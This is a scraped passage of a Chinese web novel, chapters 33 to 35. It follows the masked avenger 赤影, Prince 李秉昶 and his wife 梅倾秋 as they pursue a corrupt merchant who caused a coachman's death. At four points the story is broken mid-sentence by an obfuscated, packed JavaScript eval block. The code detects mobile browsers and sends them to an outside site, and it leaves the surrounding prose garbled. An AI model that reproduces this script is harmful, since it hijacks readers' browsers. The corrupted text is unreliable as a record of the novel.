说罢她掌心施力，轻握住了他手腕，诚恳地直视他。殊不知这是极为撩人的一个举动，他压抑着反手相握的念头，说话也不利索了。 “咳……嗯，当然，我当然相信你。” 而他终是没战胜欲念，缓缓举起另一只手，欲往上叠。奈何没来得及触碰，就被一声呼唤惊回了。 矜儿：“王妃，这是太尉府的飞鸽。” 梅倾秋抽走手，擦肩而过去接矜儿抓来的鸽子，鸽子腿上绑着信管。她解开信管放飞信鸽，也不查看，就直接卡进袖口。 对话已然结束，李秉昶起身离院。他来此一遭，本就只是为了说句：“我需赴燕王的接风宴，你不必等我用晚膳。” 燕王，李秉暘。皇上的第四个儿子，封地燕国，忠于太子。太子与穆妮娅的婚亲来得突然，太子大婚当日他无法赶来，此番也是请旨皇帝才回的安州。 “燕王会在安州停留多久？” “至多不超半月。” 二人并肩相谈，说上几句就已到了府门前，傅雁早拉来两匹马侯在一旁。 “多加小心。” 李秉昶含笑点头，接过缰绳翻身上马。她目送他架马远去的背影，想起那夜风烛声中的‘共犯’论。 就如宁枝所言，她与李秉昶联姻达成的共赢是以皇位为基础，此前她只表露出当皇后的目标，那么当她蓄意谋反的心思摆到明面上，势必会造成二人反目。 此刻他以共犯之名打破这层‘和睦关系’，才让她看清长久以来他披着多厚的伪装。 假使他从未打算阻止她报仇，甚至有意放任她杀死他的父亲。那他也有弑父的心思！ 自那夜后，她总免不了多加揣测他行为中的用意。便是此刻她也未意识到，自己探究的目光常常忘记掩盖，导致很长时间里她直勾勾盯着他不动弹，直至身影消失在长巷尽头。 - 晚宴开设于东宫。正厅之内，太子居上位、李秉昶居左侧、燕王与六皇子并居右侧。 除此之外，屋内仅留太子的心腹傅骢和两名婢女，乐者更是居庭院之间，隔门抚琴。屋内只能听到隐约流动的琴声。 “刺客居然至今未落网，背后莫不是有人撑腰？”说话人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206417|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕王李秉暘，所指乃前不久皇帝遇刺一案。 太子：“刑部、大理寺、金吾卫全乱成了一团。彼时恰逢我大婚，进出皇宫的人多而杂，盘查起来颇具困难。这也使父皇气急。” 燕王：“听闻那刺客身手了得，整个金吾卫都不是他的对手？身中两箭还能全身而退，看来真非普通人。” 李秉昶：“时至半月之久，兴许刺客早已脱身出了城，便更无从追捕了。” 燕王闻声朝李秉昶看来一眼，也不继续这个话题了，感概道：“两位哥哥的婚礼我都没赶上，只能寄礼遥贺。听闻二哥所娶乃太尉千金？” “太尉养女，但据说也是自小与太尉夫人习医，指不定还与太尉习过武。襄王妃是才华无双啊。”太子没好气道。 二人一唱一和，是故意刁难李秉昶。就燕王与太子交好的程度而言，怎会不知是他抢了太子的太子妃候选。 李秉昶煞有其事道：“内人确实略通医术，无双不敢言，但也是才德兼备了。” 说罢他举起酒杯敬太子，太子扯起僵硬嘴角，将杯中酒一饮而尽。 沉默半晌的六皇子适时开了腔：“二哥既已成亲，兴许不久也会有封地？” 此类忌讳话题也就置身夺权之外的六皇子会提。李秉昶无言笑笑。 太子装模做样道：“哪怕没有封地，二弟也是深受父亲重视，听闻还将抓捕赤影一事交与了他。” 闻言屋内顿起诧异之声，李秉昶却是半分笑不出。 皇帝确实将赤影案交给了他，他可随意支配刑部，但却不似表面那么光鲜亮丽。说是重视，根本就是将烫手山芋扔给他。恰逢刺客寻无所踪，他再办砸就是撞皇帝治罪的刀尖上了。 并且他是今日才得到的指令，太子却立马就知道了，可见皇帝身边有不少太子安插的眼线。 “就是那位搅得安州不得安宁的赤影？此番二哥若抓到他了，可就立大功了！”燕王道。 “刑部苦恼追捕了半年都没结果，只怕我也得让父皇失望了。” “若是需要用到我的，二哥可尽管开口！”六皇子道。 燕王与太子也同步附和，李秉昶皮笑肉不笑地一一领情。 - 戌时日昏，长巷渐渐沉入黑暗，纸笼红光朦胧摇曳。行人摊贩皆步履匆匆，赶着回自家歇息。 只身匹马的燕王也是如此，他策马疾奔穿过长巷，干扰了街边摊贩也不管。到了拐角处倏然勒停马。 他被一阵悠扬琴音吸引了。他放松缰绳，循声来到一间药铺前。 铺门虚掩，透过门缝可见屋内拨琴的女子。 其女屈坐矮凳，怀抱琵琶，粉色罗裳徐徐垂地，经晚风撺掇着翩翩然，似在为她伴舞。 肤白貌美，双眉如柳弯，一颦一笑皆如琴弦在他心上挑拨。 她轻挑玉指，边言边弹。燕王微微偏头，看见她对面坐着一名女童。 他看入了迷，她也弹入了迷。全然不知观客不止一个。 忽而里屋传出呼唤，女子放下琵琶，牵着女童往里屋走去。燕王望着她远去的身姿，重复方才听到的名字：“竺月。” 33. 第 33 章 初冬生雪。薄雪丝丝缕缕铺陈树梢，蘸足细屑徐徐飘落，白墨般沾染鹅卵石路。 这天气身裹袄袍仍难抵寒。朔风瑟瑟拂起茸雪，雪花翻来覆去地飘，鞋印烙在其中若隐若现。定睛细瞧，依稀可见印痕延至书房。 梅倾秋沿着鞋印步进后院，透过半掩的书门看见李秉昶的身影。 近日她甚少与其相见。二人的寝卧相隔一面墙，每回他早出晚归都会从她窗前经过，她大多在半梦半醒中闻见他推门的声响。此外对他一无所知。 当下他满脸愁容地窝在书房内，正是她打探消息的最佳时期。 恰好女婢端来茶水，梅倾秋接过茶盘，叩响门走进屋。 李秉昶埋首案卷，大小书卷堆置成山，摊在他面前的书页上题有‘赤影’。 梅倾秋按下心中诧异，将茶杯放在他手边。 “王爷。” 李秉昶循声抬头，疲惫地撑开眼皮，看清身侧人后眸子闪过一抹惊喜的笑意。 “你怎来了？” “近日少有机会见到王爷，见王爷今日在府，便来见见你，我到此可会打扰你处理政务？” “不，不会。这都是一些芝麻小事。” 她随口一提，落在他心上便是极大的欢喜。将那话中客套剥丝抽茧，只取思念之意。 但他也不可藏着这心思凝视她太久，所以垂眼拨弄面前的案卷，道：“其中令我最苦恼的便属赤影了。” 梅倾秋略扫一眼，看见上面记载的都是赤影往日出现的习惯和行踪。原来曾出现过几名目击者，向官府提供过赤影的身型脸廓。 只是都与赤影本人——梅倾秋——判若两人。 “原来现在由王爷抓捕赤影了？那王爷可有抓捕的计划？”她以关切的口吻问道。 李秉昶也真不对她设防，一股脑全跟她说了。包括如何设局、如何引诱赤影、如何将其一网打尽。殊不知倾听之人便是他想抓的人。 “许久未听见赤影的消息，她既不与朝廷做对，朝廷何必逼急她？” “你也是赤影派？” 李秉昶笑着调侃道。 “那倒不是，细数赤影几桩案子的共同点，足以见得其并非恶盗。” “于百姓而言，赤影的确称不上恶。但于朝廷，便是顽疾了。” 李秉昶身子往后坐，肘倚桌沿，侧身向梅倾秋。 “他惯与朝廷做对，绝不会安分度日的。便是我持政，也会将他视作挡路虎，除去方休。” 这便是帝王家。纵使己错，遇纠先罚，皇威忌撼。 故多掀几次民怨，自有万千‘赤影’浮世。 “但愿王爷成功。”她笑道。 李秉昶没来得及施行抓捕计划，就平白被泼了身脏水。源于他为皇帝背了黑锅。 起因是皇帝要打压赤影在民间的声望。 自赤影手刃恶霸、劫富济贫，代替被压迫许久的百姓出气，而后更是利用赈灾银铲除了贪污数年的奸臣严晁，赤影在百姓心中的英雄形象愈加牢不可破。 安州各地都在暗中称赞赤影，贬低朝廷。孩童们会扮成赤影传说中的模样。有些特征是说书人添上去的，例如身披黑色斗篷、面戴半边面具、剑穗是混入血色的玉佩…… 孩童们跟着肩披黑布、裁断面具、手持刻鲜血图形的剑。强调血痕是因为‘赤影’这个名号本为世人所加，由烙在鲜血中的影子所得。 赤影约有半年没露面，关于他的故事却传播甚广，桩桩件件皆是美事。朝廷看不下去了，发出了号召： 赤影乃朝廷通缉要贼，如有人擅自信奉、藏匿、美名化赤影，将视为共犯。举报者有重赏。 朝廷视赤影为眼中钉，这并非一日蹴就，坏就坏在百姓啥也没干，还要被当作共犯惩治。而襄王偏偏在这个时候接手赤影案。 民间霎时传起这样的说法：襄王急功，拿平民开刀。 百姓们本身憋着一股劲，又想声援赤影，又怕被举报，孩童们也因不能扮演赤影了而气愤。便将民愤都发泄在襄王身上。 李秉昶从最被看好的储君到儒雅王爷，现在又成了‘狗急跳墙’的阴险王爷。在百姓心中的形象一落千丈。 个别人途径襄王府，还会悄悄吐口唾沫。 就在这种情势下，一名老翁只身来到襄王府，在对面的树下蹲了许久。 雨中夹雪，寒风刺骨，此人却身着单衣，双手交插穿入窄袖。瘦骨嶙峋的脸颊似被雪涂白了，连唇也是苍白的，只有两颗眼珠黑不溜秋的。 他名姜三，天刚破晓就到这来了。他托守门侍卫托过话，被指贱民不得参见王爷。无奈只能暗自躲在树后，等着襄王爷的马匹出现。 实际上姜三并不认识襄王爷，他只是见着雍容华贵的公子就冲上去。 “王爷王爷！我有要事禀报，我知道赤影的下落！” 姜三边喊边跑，话比他本人还早到府门前。 六皇子回首等了片刻，姜三才气喘吁吁地跑到他面前。再次将他喊成“王爷”。 “这是六皇子。”傅雁伸手拦下姜三，并回头向六皇子道：“王爷已在书房等候，六皇子可直接前往。这里我来处理。” 六皇子略显迟疑，仔细看了眼姜三的模样，认为他也说不出什么正经线索，便点头进府了。 “我想求见襄王爷。”姜三怯怯地道。 “我是王爷的贴身侍卫，你有赤影的线索可直接与我说。” “你能给我赏金吗？” 傅雁无言扯下腰间钱袋，用掌心颠了颠，里头发出铜钱相砸的清脆声。姜三当即笑起来，干裂的双唇渗出浅薄的血丝。 “我见过赤影！”姜三兴奋道，惨白双颊因此有了些许血色。“刑部派十几组官员围困赤影那会，我看见了赤影的侧脸！” 话音落地，傅雁依旧一声不出，冷漠地看着他。姜三生怕对方不信，着急忙慌地抓住傅雁的衣袖。 手指粗茧触及柔滑的绸缎面料，如同沾了火苗一般倏地弹开。姜三手足无措，似犯了什么天大的罪过，后退几步再次恳切道：“我真见到了！” “只是侧脸画不了通缉像。” 说罢傅雁扭头就要走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229840|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “正脸我也看见了！还是个女子！” 傅雁站定，饶有兴致地回头看他。“女的？” 这是一个有趣的发展，至少是不曾被提及的设想。朝廷上下竟也没人对赤影的性别产生过怀疑。 傅雁拉着姜三走远几步，远离王府。 “你当真见到了？” “我跟我女儿都看见了，赤影皮肤白皙，眉目清秀，身姿欣长，就是女子无疑！” “你可还能记清其相貌？” 见傅雁已然深信，姜三摆起了谱，道：“小民就是个赶马车的，记性不好。但我女儿记性好，她认得字，还能给你画出来！真的！但她受了风寒，发了高烧，整个人连起身都做不到，又如何描绘呢……” 姜三闪烁其词，傅雁倒是听出了端倪。 姜三继续道：“如果官爷能先给我一半赏金，就是几两银子也好！让我女儿能有钱请大夫，病好了就能绘出赤影的画像给你！后面的赏金我也可以不要！” 他越说越激动，再次挨近了傅雁，双手相互摩擦，露出乞求的眼神。 傅雁决心赌一把。他解开钱袋，倒出里面的半贯铜钱，递给姜三之前要求他带路。是在哪看见的赤影，女儿又身处何地。 姜三乐呵呵地应下。见傅雁上马，他几乎是本能地接过马绳，干起马夫的本活。 - 长巷之上人群熙攘，行人步履匆匆，一名挑柴男子肩扛锄头经过药铺，锄头挂着的竹篮掉下块木头。 恰被站在门边的宁枝注意到了，她走出药铺喊住男子，弯身拣起木头递还。 男子连声道谢，伸手接木头，二人以此悄无声息地传了张纸条。 待柴夫离去，宁枝回首跟铺内人打了个招呼，说自己有事要外出，晚些回来。 “宁枝可会给我买糖葫芦？”说话的是步桑。 她原称呼宁枝为哥哥，是宁枝说直呼名字就好。 “好，等着我吧！” 步桑跑到门外目送宁枝，回身又觉背后有双眼睛。她回头寻觅，发现那双眼睛在对面酒楼的窗户上。 “竺月姐姐，有位公子总往这瞧。”步桑回到铺里跟竺月提起。 竺月正在切药材，不以为意：“只是巧合吧。” 捱不住步桑的坚持，竺月随她到窗边，掀起窗幔往对面看。 酒楼包厢的小窗正对药铺，一男子端坐窗前凝望着她。 他的目光因过于贪婪锐利，导致被人抓住时有一瞬的闪躲，但他马上又回过神来，笑着朝竺月举起酒杯。 竺月慌忙撇下窗幔，快步向前将门也关了。她心神不宁的模样吓到了步桑，步桑问她是否认识那人？ “我不认识。” 正因不认识，才令她如此失态。从那人着装的华丽程度来看，非王室贵族也是世家公子，那样的人美酒佳肴铺桌，居高临下地凝视她。 与那极具倾略感的目光相视，她仿佛又回到了风正堂。回到那个不能左右自己，只得供人观赏的地方。 但现下不同，她可以左右自己去避开这种视线了。 34. 第 34 章 两日后。傅雁依着姜三给的地址找到他所在的村落，此处僻壤，聚集的多为难民。姜三是数月前才搬来的，他们的屋子矮破，不过几根木桩撑起扎捆的杂草，便成屋了。 里头用木板隔出三个区域，两张床榻、一张木桌。火灶就紧挨着桌角。不等炊烟攀上烟囱，只怕病人先被薰得慌。 病人指的是姜三的女儿，姜云。 姜云约莫只有十五岁，自小随父干活，父亲给人赶马车，她就给人做贴身丫鬟。直至半年前得了怪病，被老东家遣回。姜三为了照顾女儿也搬出了下人房，活还做着，却是入不敷出。 父女俩相依为命，活得十分拮据。纵是如此也无碎银治病，才斗敢跟傅雁预支赏金。 初次相见她还脸色惨白、发着高烧躺在床上，现今至少退热，神清智明，可以回话了。 可傅雁盘问了半晌，发现其压根没见过赤影，姜三所言皆虚，他只看到过赤影的影子。指认‘赤影是女的’也只是为了先讨到赏金。 “你敢耍我！” 傅雁当胸一脚将姜三踢向灶台，灶上铁锅咣当砸地，流出稀薄的树叶粥。 “大人大人……我实在是没有办法了，孩子没钱治病，我就这么一个孩子啊……但她不知道，她不是共犯，一切都是我的主意！” “爹爹！” 姜云下床，跪在她父亲身边，跟着他给傅雁叩首。 “报假案骗取赏金，当押进牢中等候审判。” 说罢傅雁拔出长剑，居高临下直指姜三。 “大人，求求你放过我爹爹吧，我们还你钱，我们一定会还的！就当是我们跟你借的行吗？” “是啊大人，我姜三虽然穷，但我也有骨气，否则早在拿到钱的当晚我就跑了。我是定会还的！我给你立字据！” 姜三手忙脚乱地找纸笔，这矮檐破屋哪能出现笔墨呢。 便是烧焦的木柴做墨，灰蒙蒙的白手帕做纸，他伏趴在灶台上，刻下带有树叶粥与药草味的字。 摊到傅雁面前，灰布上只有‘拾’和‘姜三’寥寥数字，还写得七扭八拐的。 “大人，我不识字。”姜三怯懦道，“要不大人你来写欠条，我来摁手印！” 木屋好几处渗风。杂草捆上的绳断了，寒风薄雪就透着细缝钻进屋。当下尚是卯时，旭日未升，堵塞草缝的雪还没化。等雪化了，那缝就又会被寒风撑大。 傅雁许久未在这种环境生活，可光是站着就本能生起了担忧。 ——“木屋被风吹倒了怎么办？” 耳边响起男童颤抖的声音。 他收剑转身，道：“这次我放过你们，钱财报案一并作罢，权作不相识，莫再往外提起。” 扬长而去。 姜三父女惊喜交加，追出门跪地叩谢。承诺互不相识。 福祸难测。时隔半月，姜云不得不违背约定，到襄王府寻傅雁。 她没有如她父亲那般耐心，可以在风雪中候上半日。她是走运的，刚到府门前就见到贵人。 被称为王妃的人上了马车，姜云冲上前张开双臂，以身拦马。 双马嘶鸣着跃起前蹄，马夫连忙拉紧缰绳。矜儿急喝来着何人？姜云不答，反屈膝跪下。 “民女姜云，迫于无奈冲撞王妃，望王妃许我见傅侍卫。” 布幔由里掀开，矜儿伸手扶梅倾秋下马车。 梅倾秋行至姜云两步之外停下，细瞧眼前人。她的身板看上去不过十岁有余，仅着单衫，宽袖尽是被风吹鼓囊的。 “起来说话，你找傅侍卫何事？” 姜云缓缓抬起头，脸颊竟快比拟白雪，唇受不住寒冷似的颤抖。 “求傅侍卫为我尸骨未寒的父亲正名。” 她眼中充斥的杀气令梅倾秋心中一颤，内心深处的记忆与其共情。 梅倾秋：“傅雁何在？” 矜儿：“两日前受王爷之命外出，还未归来。” 梅倾秋重将目光落在姜云身上，她上前扶起姜云，询问事情的来龙去脉。 “你若信我，我也可为你做主。” 姜云的身体因寒冷而瑟瑟发抖，她犹豫不决。并非怀疑王妃的决策权，而是若想言明必须出卖傅雁。 她低垂着眼，映入眼帘的便是王妃华丽的装束。衣袍为锦缎所织，斗篷更是狐裘所编，上头绣有金边羽毛。 这样一件矜贵斗篷，被王妃解下来披在自己身上，姜云险些惊晕。她连声不敢，推搡开斗篷，王妃以“这是命令”吓住了她。 “谢王妃……” 泪水冲撞着眼眶，姜云将一切托盘而出。不为其他，只因她感受到这天有多寒冷。而她父亲尚未入土，又得几倍之寒。 提及傅雁包庇了他们报假案的行径，并且无需他们归还钱财。王妃柳眉轻挑，似乎对此深感意外。 姜云继续往下说。 傅雁给了姜三父女二十两，除去给姜云寻医治病还剩下四两银子。四两并不算多，可对他们而言几乎等于巨款。就连旁人也是如此想法。 姜三在城南徐家当马夫，五日前遭徐家老爷诬陷盗窃，依据只是他突然有了果腹的钱。何处得来的？府上偷得的！ 任姜三如何据理力争，在众人看来尽没有说服力。就连他悲惨的过去也成了他‘所获不诚’的证明。 父女所住的木屋找人加固了外围，可以遮风挡雨了，却被徐家遣人拆碎。 木屋在一个暴风雨夜里坍塌，次日人家只会以为是被风吹倒了。 姜三到徐家讨公道，被乱棍打死。 姜云到县衙击鼓鸣冤，怎料知县已被徐家买通，倒打一耙将她留着葬父的三两银子充公。说她不能证明钱财由来，她父亲虽死，也要被追责，不可入土。 “所以我才来找傅侍卫为我父亲作证。” “太过分了！这是官商相护一手遮天啊！”矜儿怒道。 “你放心。”梅倾秋双手握住姜云的手，她的手冰凉刺骨，仍无法扑灭梅倾秋的愤慨。“我定会还你含冤屈死的父亲一个公道。” 梅倾秋命矜儿先给姜云安排住处，而后回府直奔后院书房。 她快步到书房外，尚未推门，探耳听见了里头的谈话。 六皇子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240484|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“傅雁是赤影。” 李秉昶：“从何说起？” 六皇子反问他：“可听傅雁禀报过，有人举报见过赤影一事？” 李秉昶讶异地摇了摇头。 “半月前我在府外被一老翁拦下，他误将我认作二哥你，要向我举报赤影，被傅雁搪塞过去了。我见二哥为赤影一事整日苦恼，想起了这位老翁，遣人一查……傅雁曾施钱给举报人！” “他给钱了？” “若不是得到了线索，他作何自掏腰包？只怕是为了封口。”六皇子走近李秉昶，低声道：“那老翁前几日便死了！” 闻至此处，梅倾秋收回叩门的手，转身离开。她决定自己帮傅雁摆脱嫌疑，为姜三洗清冤屈。 - 酉时时分，天将黑未黑，雪花融尽，地面砖瓦皆是湿漉漉的。寒气自四面八方袭来。 竺月拉紧斗篷，行至拐角处被一马车拦下。领头侍卫道：“燕王请姑娘到府上相聚。” 她转身欲跑，另一人快速挡住她的去路。孤身无从选择，竺月遵照指示，躬身进了马车。 约莫走了三里路，马车才减速停下。竺月被侍卫领入府，院中人正在舞剑，她看了半晌他的背影，经一对望才认出是窥探她许久的男子。 总躲在药铺对面的酒楼里，透过小窗眺望她。 思及此她心泛厌恶，反倒没了往日的畏惧。她木无表情走近他，垂眼作揖，称：“燕王。” 燕王李秉暘随手将剑搁在石桌上，招手让她再走近些。 “有几回你我隔街相望，你对本王应是有印象的。” “民女记性不好。” “无妨，当下识得便是。”他轻飘飘道。 “不知燕王找民女，所为何事？” “你可愿随我前去燕国？” 自院中落座，竺月始终低垂着眼，这时惊愕地抬起脸，燕王嘴角上扬露出满意的微笑。 此话看似给予选择，却与强抢民女没有两样。 他继续道：“本王可为你搭建一座静苑，你不必再为几两银子佝偻身子，可以安坐在榻上品茶拨琴。保你余生安宁。” 恰有女婢端来茶点，挡在了二人之间。竺月抓住剑柄猛站起身，后退与其拉开几步距离。 府兵蜂拥拔剑相向，被燕王喝道退下。 竺月却提剑抵在自己脖子上，燕王困惑：“这是何意？” “蒙燕王厚爱，民女无以回报，只能以死明志。” 说罢她抡剑向脖，利剑险些割破喉咙之际，被燕王用石子打飞了。但剑刃仍在她脖子上划出一道浅显的伤口。 “你这是何苦！”燕王怒其不争道。 竺月瘫坐在地，手捂渗血的脖子，她抬脸仰视燕王。 “王爷，你就算带我走也只能得到一具干瘪的尸体。” 燕王永远也不会明白她究竟在与什么抗争。他只是看见了身柔意坚的女子如何以血护命，哪怕是以送命的方式。 “峭崖之花，不可摘。” 他转身摆了摆手，府兵收剑退至两侧，竺月头也不回地跑出府。 35. 第 35 章 月沉静夜，皎白月牙弯弯悬顶，繁星点点落入浅池。刀光剑影飞速掠过池面，水珠飞溅。持剑人穿过水帘，剑刃正刺树干。 院墙外传来细碎脚步声，李秉昶拔剑回身，剑指进院的傅雁。 傅雁暗吃一惊，连忙躬身行礼。 “王爷。” 利剑回鞘，李秉昶将整把剑扔给傅雁，自己往书房方向走。开门见山道：“近日，陛下掀起了举报赤影得赏金的势头，可有人到襄王府举报？” 他暗自观察着傅雁的表情变化，他木头人般平静的脸闪过一丝慌乱，但他瞬时垂下头：“回王爷，没有。” 二人于书房门前站停，李秉昶打量他片刻，不再言语，抬手示意他退下。 忽起邪风搅飞枯枝败叶，剑光划过李秉昶眼角，尖刃逼近。 李秉昶偏身避开，傅雁眼疾手快，拔剑打飞飞刀，短刀牢牢扎在红桩上。刀柄处缠有一张纸条。 傅雁拆下纸条呈上。 白纸摊开，上头写着：城南徐家杀抢劫掠，所得钱财堆满空宅，阳魂与其最是相冲。故两日后，赤影上府取走犯冲之物。 李秉昶抬首往飞刀扔来的方向，院墙外乃静谧街巷，此时同样只有枯枝干瘪瘪地摆动。 “王爷，何人来信？” “赤影。” 他将纸条递给傅雁，转身走进书房。 “这赤影实在是嚣张，竟敢提前暴露自己的行踪，还胆大包天到王府来挑衅！” 李秉昶落座案桌前，取纸提笔，边写边道：“先去通知刑部，让他们派人知会徐家，并在徐家内外安插埋伏。” “王爷觉得这真是赤影吗？” “时间到自然就知道了。” 三日后。即赤影声称窃财的隔日清晨。 赤影没有如他所说的盗取钱财，而是取了徐家老爷的性命。细说起来赤影确实没说过自己要取的是钱，他说的是脏钱与阳魂相冲，所以取走一样。是李秉昶没有猜中赤影的谜题。 昨夜刑部将徐家里里外外围了三层，侍卫两班交替，如此都没瞧见赤影的影子。还是鸡鸣过后，家仆敲老爷门才发现他死在了床上。仵作查看尸体后，猜测早在昨夜丑时就断气了，一刀毙命。 赤影杀了百姓。这一荒诞事传遍大街小巷，遂成了各家聚首的谈资。与其说讨论凶手赤影，应该说是在讨论死者的罪行。 死者徐某是城南一方的霸主，压榨家仆、收街铺费、开钱庄逼良为娼等等坏事做尽。奈何其祖上是当官的，到了他这一代改经商，但在官场上仍有关系。百姓们数次上告无果，还被反手关进牢，数年来苦不堪言，却也拿他没办法。 周遭人个个居安思危，目睹不公之事为了保命也只能充耳不闻。现今这个恶被赤影除了！不到一个时辰，满城流传的命案已经不是‘赤影杀人’，而是‘赤影惩恶’了。 历年来，安州城内命案不断，窃杀、斗杀、谋杀等等数不胜数，未见引起过这么大规模的关注。可说与皇帝遇刺一案不相上下，毕竟赤影可是百姓心中的英雄。 鹅毛大雪倾泻而下，卯时未过，天尚灰白，微弱曙光透过铺满棉雪的树梢映下，轻轻打在徐府门前张望的人们身上。 丝缕阳光借不到暖，人们双手交叉插入袖中，龟缩着脖子，鼻尖与脸颊冻得通红。 刑部部署埋伏的阵法时李秉昶没来，听闻徐家老爷死了他才与傅雁同行赶来。 徐家老爷死状并不惨烈，甚至说得上‘安详’。赤影瞄准要害一刀毙命，让人当场呜呼了。 起先收到那张纸条，李秉昶确实怀疑过真假，赤影行动可不曾有过自曝。而今证实那确是赤影，那他为何提醒官兵部署就更可疑了。以此得到快感？ 二人离开徐府时天已明，雪花淅淅沥沥如小白花瓣，围在徐府门前的人们个个头顶染雪，脸色苍白。 “傅侍卫！” 李秉昶闻声站停，傅雁左右张望寻唤声的来源。 “傅侍卫！” 一名女子终于挤出人群，走到他们面前，拨下斗篷宽帽，道：“我是姜云啊。” “姜云？” 傅雁略一停顿，思忖起她为何人，心虚地瞧了眼李秉昶，才问她找他何事？ 姜云以为他真忘记了，提醒他此前到襄王府举报赤影的人就是她父亲。 傅雁站在李秉昶侧前方，肉眼可见地慌乱，毕竟他刚说过没有遇到人举报。见状李秉昶接过了话，问姜云：“然后呢，那天之后你父亲怎么样了？” 姜云垂眸蹙眉，细细诉说自己父亲的遭遇。说至其蒙冤而死，傅雁忍不住打断她：“你怎么不早点来找我？” “我到襄王府找过你，你刚好外出了。那是三日前的事了。好在我遇到了襄王妃，就是王妃出面让知县撤掉了案子。” “王妃出面的？”李秉昶插话道。 “是的，王妃可怜我的父亲，欲为他伸张正义，奈何徐家老爷总是有理。他搬出律法：‘殴打家仆’至多坐牢一年，且是在认为家仆行窃后殴打的，属合理惩治。根本无法让他以命抵命。用三十两银子就把我打发了，连牢也不用坐。 知县也站在他那边，道‘依法行事’。所以我本也放弃了，用这银两厚葬了父亲。没成想一夜之间徐家老爷就被赤影杀了，我才到了这。” 打破朝廷固律，凌驾皇法之上，确实是赤影能做出的行为。所以劫财只是一个幌子？ 朝廷不让杀，我就偏要杀的这种思想？李秉昶冷哼一声，心想赤影真是无法无天。 李秉昶转瞬又想：可若这是动机，赤影从何知晓的冤案？ 经此一事，傅雁明了李秉昶是早就知道了姜三举报，他自知理亏，找李秉昶赔罪认罚。李秉昶无言其他，只说了句：“下不为例”。 - 襄王府内。末时盛阳融了大半雪花，零星雪痕刻在鹅卵石细缝里。后院依稀传出铲土声，是梅倾秋拿着石铲在挖土。 只见她从荷包里取出豆大点的种子，扔进土里，再细细压实抚平。 李秉昶等人进院时她正在做这道工序。跟在李秉昶身后的是傅雁和姜云。 “姜姑娘！” 矜儿先开了声。她随后作揖向王爷行礼。 梅倾秋手里拿着石铲，铲尖扎进土里，身子微微向其倾斜，宛似所倚的是把长枪。 “你应该认得姜云姑娘。”李秉昶对梅倾秋说。 “自然认得。”梅倾秋笑道，“姜姑娘找不到傅侍卫时，我帮了她一把。” 姜云上前两步给她行叩拜礼，道为父平冤之恩没齿难忘，往后定对她鞠躬尽瘁。 “我见她实在可怜，就把她招进府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252990|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，可任你使唤。”李秉昶解释。 “那敢情好！矜儿，你先带姜姑娘到偏房收拾出个铺位，带她熟悉府中环境和事务。” “是。” 矜儿领姜云往后院去，傅雁得了指示也退下了，院中只余王爷夫妇。 李秉昶走近细瞧她压实的土壤，问其所种何物？梅倾秋道是梅树的种子。 “为何想起种梅树？” “昨日在父亲府邸见梅花开得正艳，反观王府里却尽是枯朽，便差矜儿去买了些来。” 梅倾秋将石铲斜搭在树干上，取出手绢擦拭双手，泥土霎时染黑了白绢。 见状李秉昶递给她自己的手绢，顺手接起石铲在另一边挖土。 梅倾秋注意到他递来的同样是自己的手绢。便是那条莫名其妙归他所有的手绢，一角绣有朱色翎毛。 “姜云父亲的冤案，找知县这事怎么不让我出面？” “彼时王爷正在为追捕赤影犯愁，我就没知会你。说到底也只是件小事，让知县重审案件而已，恼于无法让罪魁祸首伏诛。” “说起这个，”李秉昶将石铲扎进土里，回身从梅倾秋手里的荷包取种子，“徐家老爷昨夜死了。” 梅倾秋佯装讶异：“当真？怎么死的？” “赤影杀的。” 李秉昶提及此事木无表情，直勾勾盯着她。 “噢？赤影与徐家也有瓜葛？” 闻言他扯唇一笑，将种子扔进坑里，躬身埋土。自言自语般：“我也正困惑呢，赤影行凶的日期也很蹊跷。” 梅倾秋确实是故意卡在傅雁值班的时间，好证明他并非赤影。李秉昶定然不再怀疑傅雁了，但似乎对她起疑了。 她搭腔：“不光是日期，赤影为何杀徐家老爷也很可疑呀。莫非赤影还承接杀人的活？” 李秉昶挺直腰板，饶有兴致地回过头。 